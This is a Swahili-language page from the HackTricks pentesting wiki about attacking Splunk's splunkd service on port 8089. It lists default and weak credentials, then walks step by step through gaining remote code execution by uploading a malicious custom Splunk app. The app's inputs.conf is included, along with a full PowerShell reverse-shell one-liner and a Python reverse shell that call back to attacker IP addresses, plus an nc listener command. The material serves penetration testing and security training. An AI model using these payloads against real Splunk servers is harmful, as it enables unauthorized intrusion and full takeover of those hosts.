hacktricks/network-services-pentesting/8089-splunkd.md
2024-02-11 02:13:58 +00:00

8.6 KiB

8089 - Kupima Usalama wa Splunkd

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Splunk ni zana ya uchambuzi wa magogo ambayo inacheza jukumu muhimu katika ukusanyaji, uchambuzi, na uchoraji wa data. Ingawa madhumuni yake ya awali hayakuwa kuwa zana ya SIEM (Usimamizi wa Habari na Matukio ya Usalama), imepata umaarufu katika uwanja wa uchunguzi wa usalama na uchambuzi wa biashara.

Matumizi ya Splunk mara nyingi hutumiwa kuhifadhi data nyeti na inaweza kutumika kama chanzo muhimu cha habari kwa wadukuzi ikiwa wanafanikiwa kudukua mfumo. Bandari ya chaguo-msingi: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

{% hint style="info" %} Seva ya wavuti ya Splunk inaendesha kwa chaguo-msingi kwenye bandari 8000. {% endhint %}

Uchunguzi

Toleo la Bure

Jaribio la Splunk Enterprise linabadilika kuwa toleo la bure baada ya siku 60, ambalo halihitaji uwakilishi. Si jambo la kawaida kwa wasimamizi wa mfumo kufunga jaribio la Splunk ili kuitumia, ambalo baadaye husahauliwa. Hii itabadilika moja kwa moja kuwa toleo la bure ambalo halina aina yoyote ya uwakilishi, ikileta pengo la usalama katika mazingira. Baadhi ya taasisi zinaweza kuchagua toleo la bure kutokana na mipaka ya bajeti, bila kuelewa kabisa athari za kutokuwa na usimamizi wa mtumiaji/jukumu.

Uthibitisho wa Cheti cha Msingi

Kwenye toleo za zamani za Splunk, uthibitisho wa cheti cha msingi ni admin:changeme, ambazo zinaonyeshwa kwa urahisi kwenye ukurasa wa kuingia.
Hata hivyo, toleo jipya zaidi la Splunk linaweka uthibitisho wakati wa mchakato wa usakinishaji. Ikiwa uthibitisho wa cheti cha msingi hautafanyi kazi, ni vyema kuangalia nywila dhaifu za kawaida kama vile admin, Karibu, Karibu1, Nenosiri123, n.k.

Kupata Taarifa

Baada ya kuingia kwenye Splunk, tunaweza kuvinjari data, kukimbia ripoti, kuunda dashibodi, kusakinisha programu kutoka maktaba ya Splunkbase, na kusakinisha programu za desturi.
Pia unaweza kukimbia nambari: Splunk ina njia nyingi za kuendesha nambari, kama vile programu za Django upande wa seva, vituo vya REST, pembejeo zilizoandikwa, na hati za tahadhari. Njia ya kawaida ya kupata utekelezaji wa nambari kijijini kwenye seva ya Splunk ni kupitia matumizi ya pembejeo iliyosakinishwa.

Zaidi ya hayo, kwa kuwa Splunk inaweza kusakinishwa kwenye mwenyeji wa Windows au Linux, pembejeo zilizoandikwa zinaweza kuundwa ili kukimbia Bash, PowerShell, au hati za Batch.

Shodan

  • Kujenga Splunk

Utekelezaji wa Nambari Kijijini (RCE)

Kuunda Programu ya Desturi

Programu ya desturi inaweza kukimbia hati za Python, Batch, Bash, au PowerShell.
Tafadhali kumbuka kwamba Splunk inakuja na Python iliyosakinishwa, hivyo hata kwenye mifumo ya Windows utaweza kukimbia nambari ya python.

Unaweza kutumia hii pakiti ya Splunk ili kutusaidia. bin directory katika repo hii ina mifano kwa Python na PowerShell. Hebu tuende hatua kwa hatua.

Ili kufanikisha hili, kwanza tunahitaji kuunda programu ya desturi ya Splunk kwa kutumia muundo wa saraka ifuatayo:

tree splunk_shell/

splunk_shell/
├── bin
└── default

bin directory itakuwa na scripts ambazo tunakusudia kuendesha (katika kesi hii, PowerShell reverse shell), na saraka ya chaguo-msingi itakuwa na faili yetu ya inputs.conf. Reverse shell yetu itakuwa PowerShell one-liner:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

Faili ya inputs.conf inaambia Splunk ambayo script ya kukimbia na hali nyingine yoyote. Hapa tunaweka programu kama iliyoruhusiwa na kumwambia Splunk kukimbia script kila sekunde 10. Kipindi kawaida ni sekunde, na kuingiza (script) itakimbia tu ikiwa mipangilio hii ipo.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Tunahitaji faili ya .bat, ambayo itaendeshwa wakati programu inapowekwa na kutekeleza amri ya PowerShell moja.

Hatua inayofuata ni kuchagua Install app from file na kupakia programu.

Kabla ya kupakia programu mbaya ya desturi, hebu tuanze kusikiliza kwa kutumia Netcat au socat.

sudo nc -lnvp 443

listening on [any] 443 ...

Kwenye ukurasa wa Upload app, bonyeza kwenye kivinjari, chagua tarball tuliyounda mapema na bonyeza Upload. Mara tu tunapopakia programu, tunapokea reverse shell na hali ya programu itabadilishwa moja kwa moja kuwa Enabled.

Linux

Ikiwa tunashughulika na mwenyeji wa Linux, tunahitaji hariri skripti ya Python ya rev.py kabla ya kuunda tarball na kupakia programu mbaya ya desturi. Mchakato mwingine utakuwa sawa, na tutapata uhusiano wa reverse shell kwenye msikilizaji wetu wa Netcat na kuendelea na shughuli.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Upanuzi wa Mamlaka

Katika ukurasa ufuatao unaweza kupata maelezo jinsi huduma hii inaweza kutumiwa kwa kusudi la upanuzi wa mamlaka na kupata uthabiti:

{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: